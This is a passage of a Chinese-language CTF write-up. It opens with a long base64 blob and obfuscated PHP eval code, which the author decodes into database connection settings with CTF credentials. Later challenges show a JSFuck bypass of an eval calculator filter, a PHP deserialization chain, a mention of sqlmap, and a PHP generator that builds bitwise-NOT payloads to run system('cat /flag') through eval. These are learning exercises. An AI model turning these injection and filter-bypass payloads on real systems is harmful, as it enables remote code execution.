Ed2RTSTJEU1VJVFNqTkN6cHdRR3BzcHY0SVgyUGxuZ1g1blpyV3B5RHdkU0lSUVZMc3B2NElYMlBsbmdNUkR2VUlUU2pOQ3pwd1FWTVJuWnJXcHlEd2RTSVJRVkxzbUp3SXB2cklwdnJJcHljc3haSVVIMTlxQkhEZm5Wa25wdnJJcHowbnFaVXduVms9IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));?>多层混淆,尝试反混淆:
<?php$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0[3].$O00OO0[6].$O00OO0[33].$O00OO0[30];$O0OO00=$O00OO0[33].$O00OO0[10].$O00OO0[24].$O00OO0[10].$O00OO0[24];$OO0O00=$O0OO00[0].$O00OO0[18].$O00OO0[3].$O0OO00[0].$O0OO00[1].$O00OO0[24];$OO0000=$O00OO0[7].$O00OO0[13];$O00O0O.=$O00OO0[22].$O00OO0[36].$O00OO0[29].$O00OO0[26].$O00OO0[30].$O00OO0[32].$O00OO0[35].$O00OO0[26].$O00OO0[30];# eval($O00O0O("JE8wTzAwMD0iYk1xa2FtY2RnQ3RVdWpRREZUeFpMeVB2QXJSaGlTbkd6ZkhzSktZbGV3VlhFcE9Cb05JV0JRT1VDdGRBSXZLaVdOTGdhVlJ4VGxldXJFY1BTWmZ5R3F6a1luWGhvSmJITXNtandEcEZlZzlKQ3pyblRsOEk1Qmw2NUVvMzVFb3k1NHRwNXNsazc3bFE1VFNENUJXNjZuNlc1eGx3NTVscTVDNm81NVpxNVRPZjU0NnU1Q25nNVQyLzU1Wnd2U1B0QUY1TkF5aHVCU3J3blpqN3ZTcklwdnJ1VGxnaFNPTnRJcHpzSXBmVVduRWhQNzN0aEJndXVZc1NYSERoRE5jcXh5Yk5CMmNodlNySXB2clVIMTlxeFNyOXB2QVNYSERoWWxyV3B2ZDJEYThmcHY0SVkyY2hYMjlVeFpkN3ZJd0lwdnJJVGw4STV4dk01Nm9ENlhGRDU3Mlc1WHlDcHlZUGQyaTJEdmdmdVlCZndwenN0c2d3aDQ4bnB2cklwdmNxSDBYSWVacmZYM2oxWWxyV3B2QXFZbHJXcHZBdHhIY05DdmQ3dlNySXB2clVYdGFHeFZYMEgyY2hYMjlVeFpyOXB2QVBZbHJXcHpEMVhmRDBkU0lVSDE5eVR2clJUdnJSblpyV3B2QU5ZbHJXcHpEMVhmRDBkU0lVSDE5eVR2cmxuVmtucHZySXB2Y3FIMElJZVpyZlhVZDVDaGhIb3k5U1EwNEpZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHlSdVgyYWtDeTlHQXJ3SXB2cklZYTlxY3ZyOXB2TFVIMTlxeFNJZkgxOU1ZbFU3cHY4dXB2QU5RdFAyWDBNOWVaZDdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJVGw4SWQyUHVkcndJcHZySVlhOXFiWnI5cHZMVUgxOXF4U0lVSDE5TW5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2OHVweUQweGg5MWQyYmxwdkF4UTFZS0ZnREZvaHNYWlYwZnZTcklwdnJVSDE5THBnMElZdmNxSDE5dG52Y3FIMExJVFNyVUgxOWJuVmtJVGw4ZkZWRFpCYklHTHRQTlEwNEdYTkRuQzFQNmNIaERBRzA5WUdrSXB2cklwdjh1cHlEMHhoOUpYSERHQTI5bHhhOFJRTlFucHZySXB2Y3FIMFFJZVpyZnhhUFpCaTl6UUZobUxWMDlZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHpiMHhOUEtYTkxudlNySXB2cnVUbGd3czZlZndwemhQN0VmZlkvaEVzN2hJVEpucHZySXB2Y3FIMTlxSDJQdWQzTElwdnJJZVpyVUgxOXF4U0lVSDE5cG5Wa25wdnJJcHZjcUgxOXFIMmNTcHZySXB2ckllWnJVSDE5cXhTSVVIMTlNblZrbnB2cklwdmNxSDE5cUgzYkd4SHBJcHZySWVaclVIMTlxeFNJVUgxOWJuVmtucHZySXB2Y3FIMTlxSDNqUGQzUUlwdnJJZVpyVUgxOXF4U0lVSDE5TG5Wa25wdnJJcHZjcUgxOXFIMkR3WEhZR3hITEllWnJVSDE5cXhTSVVIMTlnblZrbnZTcklwdnJ1VGxndGZ3VnNJbnJJcHQxNWQzYWttdFB1ZDNMOVRTNFdtMmNTQnRhS3hWMFdUUzQ3WDJQUGRmRGhBZzBXVFM0U3ZTcklwdnJVSDE5cWRnTUllWmpOQ3pwd1FWcjVuWnJXcHlEd2RTSVJRTk1zcHY0SVgyUGxuZ01SRFpVSVRTak5DenB3UVZNR25acldweUR3ZFNJUlFnSXNtbHJ1VGxyU0JIaEdkRkpTdlNySXB2clVIMTlxZGdwSWVaclVIMTlxZGdNSVRTak5DenB3RFZJc3B2NElZMlB1ZDNMZnB2NElYMlBsbmdYUm5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2cnVUbHJTQkhoR2RGSjZDeTlHQWcwU3ZTcklwdnJVSDE5cWRnUUllWnJmbWxkSVRTcmZ4eVlXWEYxaFlscldweUR3ZFNJMlFaVTdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yY1NCdGFLeFYwU3ZTcklwdnJVSDE5cWRnTEllWnJmbWxkSVRTcmZYMlBQZGZEaEF2ZElUU2pOQ3pwd0ROTXNtbHJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yRHdYSFlHeEhMOXBJd25wdnJJcHZjcUgxOXF4ekRXcGcwSVlhOXFIM3JscHY0SVlhOXFIMTlxQ3k5R0F2cldwdmNxSDE5SlFscldwdmNxSDE5cUgyY1NwdjRJWWE5cUgzcjBwdjRJWWE5cUgxOXFYMlBQZGZEaEFna252U3JJcHZydVRsZ2hTT050SXB6dGZ3VnNJbmdma0J1aFVwMElwaGpNVmxwbnB2cklwdmNxSDE5TkJ6UUllWmpOQ3pwd21ncnNwdjRJWDJQbG5nWDRuWnJXcHlEd2RTSTNtWlU3dkl3SXB2cklUbDhJaU1jZXBtdHJTb3RQV29GTE5tQ0lLK0MzSytaNEltb3ZXTHdJcHZySVlhOXFIMTl1ZHpjR3BnMElGMTA3dlNySXB2clVIMTlxSDI5SkF6REJYMjlXZDNjUEJmTHdZMWpNVkd3NkxiY2lpaDlhaWhZRFYwY2FZbGhBcHZySXB2cklwdnJJcHZySWVaak5CMjVHQXlhV0F2SWZpTWNlbU5zYWloWURWMGNhSDBiWEwwYkxiTWhlVlNkc21Kd0lwdnJJWWE5cUgxOXVkemNHRjJEdUJmRDBYRjUwbnZBTGNNODZtVWFpYmFZcWNNYnlMYmJRYmE5eWNiY2daYTlEVjBjYVlsaEFwZzBJWDI5V2QzY1BCZkx3WTFqTVZHdzZjVWJpTDBQcUxiRFZWMFFmblZrbnB2cklwdmNxSDE5cUIzajBkMUtOQjI1R0F5YVdBdklmaU1jZW1Oc2piYWNaSDBiRGJpUmpiTWJxaWFZYWlNYVpjYlFmbmIwSXB2cjlweXhQQnpEaG1Kd25wdnJJcHpjbG9aajd2U3JJcHZySXB2cklUbDhJQnRiM3Bhak1WbElXVFM0c3BtWjlQV3RydFdTL1ArRmV0bXR6TitvUlcrRkxOb0ZwdCtGN1dJd0lwdnJJcHZySXB2Y3pWTTl2TGlSVkZsQUp4eThmSFpyOXB5NWhBbHJVSDE5cVgyUkdudmNxSDE5cXh6RFdUdnJVSDE5cUgxOTFkMmJsVHZyVUgxOXFIMTlKWEhER1R2clVIMTlxSDI5SkF6UXNtSndJcHZySXFaak5YSGNOQ3Zyd0hNYjRYMmJKQXlodUJTclVIMTlxSDJpc3B6a25wdnJJcHZySXB2cnVUbGdoVXBHdHdUcXRLN3FVV3BnZklFZnNoWWZ3RTYvVXU2enRJQzhucHZySXB2cklwdnJVSDE5cUJIRGZwZzBJWDJQbG5nWDRuWnJXcHlEd2RTSTJEU1VJVFNqTkN6cHdRR3BzcHY0SVgyUGxuZ1g1blpyV3B5RHdkU0lSUVZMc3B2NElYMlBsbmdNUkR2VUlUU2pOQ3pwd1FWTVJuWnJXcHlEd2RTSVJRVkxzbUp3SXB2cklwdnJJcHljc3haSVVIMTlxQkhEZm5Wa25wdnJJcHowbnFaVXduVms9IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));echo $O00O0O."\n";echo $O00O0O("JE8wTzAwMD0iYk1xa2FtY2RnQ3RVdWpRREZUeFpMeVB2QXJSaGlTbkd6ZkhzSktZbGV3VlhFcE9Cb05JV0JRT1VDdGRBSXZLaVdOTGdhVlJ4VGxldXJFY1BTWmZ5R3F6a1luWGhvSmJITXNtandEcEZlZzlKQ3pyblRsOEk1Qmw2NUVvMzVFb3k1NHRwNXNsazc3bFE1VFNENUJXNjZuNlc1eGx3NTVscTVDNm81NVpxNVRPZjU0NnU1Q25nNVQyLzU1Wnd2U1B0QUY1TkF5aHVCU3J3blpqN3ZTcklwdnJ1VGxnaFNPTnRJcHpzSXBmVVduRWhQNzN0aEJndXVZc1NYSERoRE5jcXh5Yk5CMmNodlNySXB2clVIMTlxeFNyOXB2QVNYSERoWWxyV3B2ZDJEYThmcHY0SVkyY2hYMjlVeFpkN3ZJd0lwdnJJVGw4STV4dk01Nm9ENlhGRDU3Mlc1WHlDcHlZUGQyaTJEdmdmdVlCZndwenN0c2d3aDQ4bnB2cklwdmNxSDBYSWVacmZYM2oxWWxyV3B2QXFZbHJXcHZBdHhIY05DdmQ3dlNySXB2clVYdGFHeFZYMEgyY2hYMjlVeFpyOXB2QVBZbHJXcHpEMVhmRDBkU0lVSDE5eVR2clJUdnJSblpyV3B2QU5ZbHJXcHpEMVhmRDBkU0lVSDE5eVR2cmxuVmtucHZySXB2Y3FIMElJZVpyZlhVZDVDaGhIb3k5U1EwNEpZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHlSdVgyYWtDeTlHQXJ3SXB2cklZYTlxY3ZyOXB2TFVIMTlxeFNJZkgxOU1ZbFU3cHY4dXB2QU5RdFAyWDBNOWVaZDdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJVGw4SWQyUHVkcndJcHZySVlhOXFiWnI5cHZMVUgxOXF4U0lVSDE5TW5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2OHVweUQweGg5MWQyYmxwdkF4UTFZS0ZnREZvaHNYWlYwZnZTcklwdnJVSDE5THBnMElZdmNxSDE5dG52Y3FIMExJVFNyVUgxOWJuVmtJVGw4ZkZWRFpCYklHTHRQTlEwNEdYTkRuQzFQNmNIaERBRzA5WUdrSXB2cklwdjh1cHlEMHhoOUpYSERHQTI5bHhhOFJRTlFucHZySXB2Y3FIMFFJZVpyZnhhUFpCaTl6UUZobUxWMDlZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHpiMHhOUEtYTkxudlNySXB2cnVUbGd3czZlZndwemhQN0VmZlkvaEVzN2hJVEpucHZySXB2Y3FIMTlxSDJQdWQzTElwdnJJZVpyVUgxOXF4U0lVSDE5cG5Wa25wdnJJcHZjcUgxOXFIMmNTcHZySXB2ckllWnJVSDE5cXhTSVVIMTlNblZrbnB2cklwdmNxSDE5cUgzYkd4SHBJcHZySWVaclVIMTlxeFNJVUgxOWJuVmtucHZySXB2Y3FIMTlxSDNqUGQzUUlwdnJJZVpyVUgxOXF4U0lVSDE5TG5Wa25wdnJJcHZjcUgxOXFIMkR3WEhZR3hITEllWnJVSDE5cXhTSVVIMTlnblZrbnZTcklwdnJ1VGxndGZ3VnNJbnJJcHQxNWQzYWttdFB1ZDNMOVRTNFdtMmNTQnRhS3hWMFdUUzQ3WDJQUGRmRGhBZzBXVFM0U3ZTcklwdnJVSDE5cWRnTUllWmpOQ3pwd1FWcjVuWnJXcHlEd2RTSVJRTk1zcHY0SVgyUGxuZ01SRFpVSVRTak5DenB3UVZNR25acldweUR3ZFNJUlFnSXNtbHJ1VGxyU0JIaEdkRkpTdlNySXB2clVIMTlxZGdwSWVaclVIMTlxZGdNSVRTak5DenB3RFZJc3B2NElZMlB1ZDNMZnB2NElYMlBsbmdYUm5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2cnVUbHJTQkhoR2RGSjZDeTlHQWcwU3ZTcklwdnJVSDE5cWRnUUllWnJmbWxkSVRTcmZ4eVlXWEYxaFlscldweUR3ZFNJMlFaVTdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yY1NCdGFLeFYwU3ZTcklwdnJVSDE5cWRnTEllWnJmbWxkSVRTcmZYMlBQZGZEaEF2ZElUU2pOQ3pwd0ROTXNtbHJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yRHdYSFlHeEhMOXBJd25wdnJJcHZjcUgxOXF4ekRXcGcwSVlhOXFIM3JscHY0SVlhOXFIMTlxQ3k5R0F2cldwdmNxSDE5SlFscldwdmNxSDE5cUgyY1NwdjRJWWE5cUgzcjBwdjRJWWE5cUgxOXFYMlBQZGZEaEFna252U3JJcHZydVRsZ2hTT050SXB6dGZ3VnNJbmdma0J1aFVwMElwaGpNVmxwbnB2cklwdmNxSDE5TkJ6UUllWmpOQ3pwd21ncnNwdjRJWDJQbG5nWDRuWnJXcHlEd2RTSTNtWlU3dkl3SXB2cklUbDhJaU1jZXBtdHJTb3RQV29GTE5tQ0lLK0MzSytaNEltb3ZXTHdJcHZySVlhOXFIMTl1ZHpjR3BnMElGMTA3dlNySXB2clVIMTlxSDI5SkF6REJYMjlXZDNjUEJmTHdZMWpNVkd3NkxiY2lpaDlhaWhZRFYwY2FZbGhBcHZySXB2cklwdnJJcHZySWVaak5CMjVHQXlhV0F2SWZpTWNlbU5zYWloWURWMGNhSDBiWEwwYkxiTWhlVlNkc21Kd0lwdnJJWWE5cUgxOXVkemNHRjJEdUJmRDBYRjUwbnZBTGNNODZtVWFpYmFZcWNNYnlMYmJRYmE5eWNiY2daYTlEVjBjYVlsaEFwZzBJWDI5V2QzY1BCZkx3WTFqTVZHdzZjVWJpTDBQcUxiRFZWMFFmblZrbnB2cklwdmNxSDE5cUIzajBkMUtOQjI1R0F5YVdBdklmaU1jZW1Oc2piYWNaSDBiRGJpUmpiTWJxaWFZYWlNYVpjYlFmbmIwSXB2cjlweXhQQnpEaG1Kd25wdnJJcHpjbG9aajd2U3JJcHZySXB2cklUbDhJQnRiM3Bhak1WbElXVFM0c3BtWjlQV3RydFdTL1ArRmV0bXR6TitvUlcrRkxOb0ZwdCtGN1dJd0lwdnJJcHZySXB2Y3pWTTl2TGlSVkZsQUp4eThmSFpyOXB5NWhBbHJVSDE5cVgyUkdudmNxSDE5cXh6RFdUdnJVSDE5cUgxOTFkMmJsVHZyVUgxOXFIMTlKWEhER1R2clVIMTlxSDI5SkF6UXNtSndJcHZySXFaak5YSGNOQ3Zyd0hNYjRYMmJKQXlodUJTclVIMTlxSDJpc3B6a25wdnJJcHZySXB2cnVUbGdoVXBHdHdUcXRLN3FVV3BnZklFZnNoWWZ3RTYvVXU2enRJQzhucHZySXB2cklwdnJVSDE5cUJIRGZwZzBJWDJQbG5nWDRuWnJXcHlEd2RTSTJEU1VJVFNqTkN6cHdRR3BzcHY0SVgyUGxuZ1g1blpyV3B5RHdkU0lSUVZMc3B2NElYMlBsbmdNUkR2VUlUU2pOQ3pwd1FWTVJuWnJXcHlEd2RTSVJRVkxzbUp3SXB2cklwdnJJcHljc3haSVVIMTlxQkhEZm5Wa25wdnJJcHowbnFaVXduVms9IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==");$O0O000="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";echo "\n".'?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000)));
?><?php// 强混淆版本,不建议在真实生产环境使用(function () { // 动态选个函数:base64_decode $___f = 'base' . '64_' . 'decode';
// 各种配置做 base64 编码隐藏 $__F = 'cpu' . '_' . 'fetch'; $base64_decode = 'a' . substr($__F, 1, 1) . 'c' . substr($__F, 2); $__H = 'bG9jYWxob3N0'; // localhost $__D = $$___f('__D'); // 'c2hvcA=='; // shop $__U = $$___f($__D); // ctf_user 'Y3RmX3VzZXI=' $__P = $$___f($__D . $__U); //'Y3RmX3Bhc3N3b3JkXzEyMw=='; // ctf_password_123 $__C = 'dXRmOG1iNA=='; // utf8mb4
// 解码出真实值 $_____host = $___f($__H); $_____db = $___f($__D); $_____user = $___f($__U); $_____pass = $___f($__P); $_____charset = $___f($__C);
// 构造 "mysql:host=...;dbname=...;charset=..." $___p1 = chr(109) . chr(121) . chr(115) . chr(113) . chr(108); // "mysql" $___p2 = $___p1 . chr(58) . 'host' . chr(61); // "mysql:host=" $___p3 = ';' . 'dbname' . chr(61); // ";dbname=" $___p4 = ';' . 'charset' . chr(61); // ";charset="
$____dsn = $___p2 . $_____host . $___p3 . $_____db . $___p4 . $_____charset;
// 动态构造类名 "PDO" $___cls = chr(80) . chr(68) . chr(79);
// PDO 选项同样混一点 $____opts = []; $____opts[constant('PDO::ATTR_ERRMODE')] = constant('PDO::ERRMODE_EXCEPTION'); $____opts[constant('PDO::ATTR_DEFAULT_FETCH_MODE')] = constant('PDO::FETCH_ASSOC'); $____opts[constant('PDO::ATTR_EMULATE_PREPARES')] = false;
try { // new PDO(...) 但通过变量类名创建 $GLOBALS['pdo'] = new $___cls($____dsn, $_____user, $_____pass, $____opts); } catch (\Exception $____e) { // 同样混一点错误信息 $___msg = chr(68) . chr(66) . chr(32) . chr(69) . chr(114) . chr(114) . chr(111) . chr(114); die($___msg); }})();还原之后就是:
<?phptry { $pdo = new PDO( "mysql:host=localhost;dbname=shop;charset=utf8mb4", "ctf_user", "ctf_password_123", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ] );} catch (Exception $e) { die("DB Error");}已经知道了数据库名,账号,密码,直接连接查询,无法连接,想到修改index.php中的$my_money,将index.php下载到本地,修改后删除服务器上的文件然后重新上传:

购买成功:

[阶段1] calc?js?fuck!
怎么又是计算器?又是js?fuck!
附件:
const express = require('express');const app = express();const port = 5000;
app.use(express.json());
const WAF = (recipe) => { const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/; if (ALLOW_CHARS.test(recipe)) { return true; } return false;};
function calc(operator) { return eval(operator);}
app.get('/', (req, res) => { res.sendFile(__dirname + '/index.html');});
app.post('/calc', (req, res) => { const { expr } = req.body; console.log(expr); if(WAF(expr)){ var result = calc(expr); res.json({ result }); }else{ res.json({"result":"WAF"}); }});
app.listen(port, () => { console.log(`Server running on port ${port}`);});漏洞点:
function calc(operator) { return eval(operator);}app.post('/calc', (req, res) => { const { expr } = req.body; console.log(expr); if(WAF(expr)){ var result = calc(expr); res.json({ result }); }else{ res.json({"result":"WAF"}); }});/calc路由接收expr参数,经过WAF()函数判断后,调用calc()函数可以进行命令执行,看看WAF():
const WAF = (recipe) => { const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/; if (ALLOW_CHARS.test(recipe)) { return true; } return false;};只允许0-9(8除外)及常用符号传入,不允许字符串,经过AI提点,想到JSFuck变形:
由于JS的弱类型转换,利用 [], !, +, ()可以构造出任意字符和函数:
-
![]->false!![]->true[+[]]->[0]+!+[]->1(![]+[])[+[]]->"f"(取 “false” 字符串的第 0 位)
这里通过在线网站尝试JSFuck加密_javascript在线混淆加密:


ascii解码:

成功拿到flag:

[阶段1] Ezphp
在未来的某一天,人类已经能够进行太阳系内的旅行。小明作为一名宇航员,被赋予了一项任务:探索太阳系中的不同星球。但是,在旅途中,他发现了一个神秘的坐标,此坐标周围的空间似乎被切割为一块块光滑的镜面,折叠堆积在一块,小明在经过这的时候甚至透过舷窗同时看到了自己的后背和右腿以难以理解的角度拼接在一块。与此同时,他发现该折叠空间内部蕴含了一个小型黑洞,他试图往母星发送这一发现,但在此之前,他需要先离开这里…
<?php
highlight_file(__FILE__);error_reporting(0);
class Sun{ public $sun; public function __destruct(){ die("Maybe you should fly to the ".$this->sun); }}
class Solar{ private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune; public function __set($name,$key){ $this->Mars = $key; $Dyson = $this->Mercury; $Sphere = $this->Venus; $Dyson->$Sphere($this->Mars); } public function __call($func,$args){ if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){ $exploar = new $func($args[0]); $road = $this->Jupiter; $exploar->$road($this->Saturn); } else{ die("Black hole"); } }}
class Moon{ public $nearside; public $farside; public function __tostring(){ $starship = $this->nearside; $starship(); return ''; }}
class Earth{ public $onearth; public $inearth; public $outofearth; public function __invoke(){ $oe = $this->onearth; $ie = $this->inearth; $ote = $this->outofearth; $oe->$ie = $ote; }}
if(isset($_POST['travel'])){ $a = unserialize($_POST['travel']); throw new Exception("How to Travel?");}[阶段1] 上古遗迹档案馆
你咋直接攻击我啊?渗透测试里不是这样的啊!你应该先向我发送一个数据确认我是什么类型的题目,然后通过不断测试来找到我的漏洞点,提升测试成功率,最后在特殊漏洞点给我发送点特殊数据,我就会给你我的正确flag,最后你才能得分啊。
sqlmap一把梭:

[阶段1] kill_king
提升自己,杀死King,或者,,,做点别的???
第一关,ctrl+shift+i打开源代码,审计logic.js,发现:
//提交请求到 check.php,并显示 flagfetch('check.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'result=win'}).then(response => response.text()).then(flag => { document.getElementById('flagBox').innerText = flag;}).catch(err => console.error('获取 flag 出错:', err));
<?php// 国王并没用直接爆出flag,而是出现了别的东西???if ($_SERVER['REQUEST_METHOD'] === 'POST') { // 判断请求方式为POST if (isset($_POST['result']) && $_POST['result'] === 'win') { // POST接收两个参数,result不为空 highlight_file(__FILE__); if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){ // get接收三个参数并判断不为空,who,are,you $who = (String)$_GET['who']; // 分别转为String类型并赋值 $are = (String)$_GET['are']; $you = (String)$_GET['you'];
if(is_numeric($who) && is_numeric($are)){ // 判断是否为数字或者数字字符串,浮点数返回1 if(preg_match('/^\W+$/', $you)){ // 对you匹配非字母、非数字、非下划线 $code = eval("return $who$you$are;"); // 执行php表达式 echo "$who$you$are = ".$code; } } } } else { echo "Invalid result."; }} else { echo "No access.";}?>审计代码后发现,参数who和are只能是数字,you只能是数学运算符,所以我们需要利用数学运算进行绕过达到代码执行,这里使用取反来进行命令拼接执行:
<?php/** * CTF Payload Generator for eval("return $who$you$are;") * Requirement: $who, $are must be numeric; $you must be \W+ */
// --- 配置区域 ---$command_function = "system"; // 想要调用的函数,如 system, passthru, readfile$command_args = "cat /flag"; // 函数参数
// --- 构造逻辑 ---
// 1. 对函数名进行取反处理$encoded_func = "";for ($i = 0; $i < strlen($command_function); $i++) { $encoded_func .= "%" . bin2hex(~$command_function[$i]);}
// 2. 对参数进行取反处理$encoded_args = "";for ($i = 0; $i < strlen($command_args); $i++) { $encoded_args .= "%" . bin2hex(~$command_args[$i]);}
// 3. 组合 Payload// 结构: 0 . (~取反函数)(~取反参数) . 0$who = "0";$are = "0";$you = ".(~" . $encoded_func . ")(~" . $encoded_args . ").";
